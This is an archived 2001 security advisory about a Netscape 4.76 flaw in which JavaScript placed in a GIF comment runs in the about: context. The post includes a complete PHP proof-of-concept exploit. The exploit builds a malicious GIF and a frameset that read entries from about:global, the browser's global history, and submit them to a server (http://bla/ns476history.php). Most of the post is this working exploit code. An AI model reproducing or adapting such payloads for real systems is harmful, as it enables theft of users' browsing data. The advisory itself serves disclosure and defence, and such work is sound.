Date: Mon, 9 Apr 2001 13:48:26 +0200
From: Florian Wesch <fw@DIVIDUUM.DE>
Subject: Netscape 4.76 gif comment flaw
Product: Netscape Navigator/Communicator
Tested on: 4.76 (on Linux and Win98/NT)
Vendor Contact: Reported 2001-03-22
{ Problem }--------------------------------------------------------
- Overview:
The Netscape browser does not escape the gif file comment in the
image information page. This allows javascript execution in the
"about:" protocol and can for example be used to upload the
History (about:global) to a webserver.
- Detail:
Netscape does not allow javascript to access documents from
a different domain. This stops a javascript from one domain
that tries to mess around with login forms/private data from other
domain. The following error message is shown
"access disallowed from scripts at <javascriptdomain> to documents
at another domain."
Now there is the protocol "about:" that is used
for some special tasks.
about: - shows Netscape version and copyrights
about:blank - shows a blank document
about:config - shows Browser configuration.
about:global - shows Information about the Netscape global history
about:<url> - shows Information about the specified url
..
There are some other about: documents (try grepping the netscape binary).
about:global is very interesting since all visited documents are
listed there. So I tried to find a way to access this information.
I created a frameset with 2 frames. The first Frame (called foo)
contains about:global. Using <frame src="about:global">,
<meta http-equiv="refresh" content="10; URL=about:global"> or
document.location.href="about.global"; for setting this url did not
work. So I used the following trick to make it work:
<base href="about:">
<form action="global" name="loadhistory">
<input type="submit">
</form>
<script language="javascript">
document.loadhistory.submit();
</script>
My intention is that the second frame (called bar) grabs 10 urls
in the first frame using javascript and sends them to the server.
Accessing parent.frames["foo"].document.links does not work since
foo is displaying an about: document and bar is a normal http document:
"access disallowed from scripts at blah to documents..."
So I tried to find a way to start a javascript within an
about: document. about:<someurl> comes into mind since there are
a lot server specified values.
First I tried to inject javascript using the url of the script.
But since this url is encoded (space => %20 etc.) there is no way
in. Modifying the Content-Type (File MIME Type) did not work
either because Netscape opens a "Save as..." window when
supplying an unknown mimetype.
Then I remembered that Netscape shows the comment included in
gif files. A quick test showed that the comment is not escaped.
So Javascript in gif comments is executed in the about: realm.
This means that this script can then access the content of
about:global. nice.
The following script included in the comment reads 10 urls in
the about:global frame (foo), stores them in the form and finally
submits this form.
<form action=http://bla/ns476history.php target=_parent name=s method=get>
<input name=u>
</form>
<script>
f=parent.frames["foo"].document;
l="";
for(i=0;i<10;i++)
l+=f.links[i]+"|";
document.s.u.value=l;
document.s.submit();
</script>
The server has 10 urls of about:global urls now.
Accessing about:config should be possible too, but
I did not try it.
{ Solution }--------------------------------------------------------
Disable Javascript
or
Upgrade to 4.77
{ Exploit }---------------------------------------------------------
attached
or
http://dividuum.de/security/netscape/
--------------------------------------------------------------------
Regards,
Florian Wesch <fw@dividuum.de>
http://dividuum.de
/*
Netscape 4.76 gif comment flaw
Florian Wesch <fw@dividuum.de>
http://dividuum.de
*/
$self="http://".$SERVER_NAME.(($SERVER_PORT==80)?"":":$SERVER_PORT").$PHP_SELF;
if (strlen($self)>64) {
echo "Url of $self is too long. 64 maximum.<br>";
echo "You can change this but I think 64 should be enough for anybody ;-)";
exit;
}
if (!isset($mode)) $mode="intro";
// If urllist is submitted
if (isset($u)) $mode="showhist";
switch ($mode) {
case "intro":
?>
<html>
<body>
<a href="<? echo $self; ?>?mode=frameset">Submit 10 urls of your history</a><br>
</body>
</html>
<?
break;
case "frameset":
?>
<html>
<frameset rows="50%,50%" border=0 frameborder=0 framespacing=0>
<frame src="<? echo $self; ?>?mode=loadhistory" name="foo" scrolling=no>
<frame src="<? echo $self; ?>?mode=showimageinfo" name="bar" scrolling=no>
</frameset>
</html>
<?
break;
case "loadhistory":
// replaces the current document with about:global using javascript
?>
<html>
<base href="about:">
<form action="global" name="loadhistory">
<input type="submit">
</form>
<script language="javascript">
document.loadhistory.submit();
</script>
</html>
<?
break;
case "showimageinfo":
?>
<html>
<head>
<meta http-equiv="refresh" content="5; URL=about:<? echo $self; ?>?mode=evilgif">
</head>
<body>
Waiting 5 seconds...<br>
<img src="<? echo $self; ?>?mode=evilgif">
</body>
</html>
<?
break;
case "evilgif":
// Gifs are supposed to be compressed. The program I
// used sucks :-)
header("Content-type: image/gif");
$gif ="4749463839610a000a00f70000ffffffffffccffff";
$gif.="99ffff66ffff33ffff00ffccffffccccffcc99ffcc6";
$gif.="6ffcc33ffcc00ff99ffff99ccff9999ff9966ff9933";
$gif.="ff9900ff66ffff66ccff6699ff6666ff6633ff6600f";
$gif.="f33ffff33ccff3399ff3366ff3333ff3300ff00ffff";
$gif.="00ccff0099ff0066ff0033ff0000fffffffffffffff";
$gif.="fffffffffffffffffffffffffffffffffffffffffff";
$gif.="fffffffffffffffffffffffffffffffffffffffffff";
$gif.="fffffffffffffffffffffffffffffffffffffffffff";
$gif.="ffffffffffffffffffffffff0000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="00000000000000021feff";
$gif.=bin2hex(sprintf("%77s%s",
/*"<form action=".$self,' target=_parent name=s method=get >'.*/
/* I'm using POST so the submitted urls do not appear in the logfile */
"<form action=".$self,' target=_parent name=s method=post>'.
'<input name=u>'.
'</form>'.
'<script>'.
'f=parent.frames["foo"].document;'.
'l="";'.
/*'for(i=0;i<f.links.length;i++)'.*/
'for(i=0;i<10 ;i++)'.
'l+=f.links[i]+"|";'.
'document.s.u.value=l;'.
'document.'.chr(255).'s.submit();'.
'</script>'));
$gif.= "00000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="00000000000002c000000000a000a00000813004708";
$gif.="1c48b0a0c18308132a5cc8b061c28000003b";
echo pack("H".strlen($gif), $gif);
break;
case "showhist":
$urls=explode("|",$u);
echo "<h1>Top 10 urls in about:global</h1>";
foreach ($urls as $url) {
echo "<a href=$url>$url</a><br>";
}
};
?>
--FL5UXtIhxfXey3p5--
Articles
View All Hover to load posts
Articles
View All Hover to load posts
Articles
View All Hover to load posts
Articles
View All Hover to load posts
Articles
View All Hover to load posts
Articles
View All Hover to load posts
Articles
View All Hover to load posts
Articles
View All Hover to load posts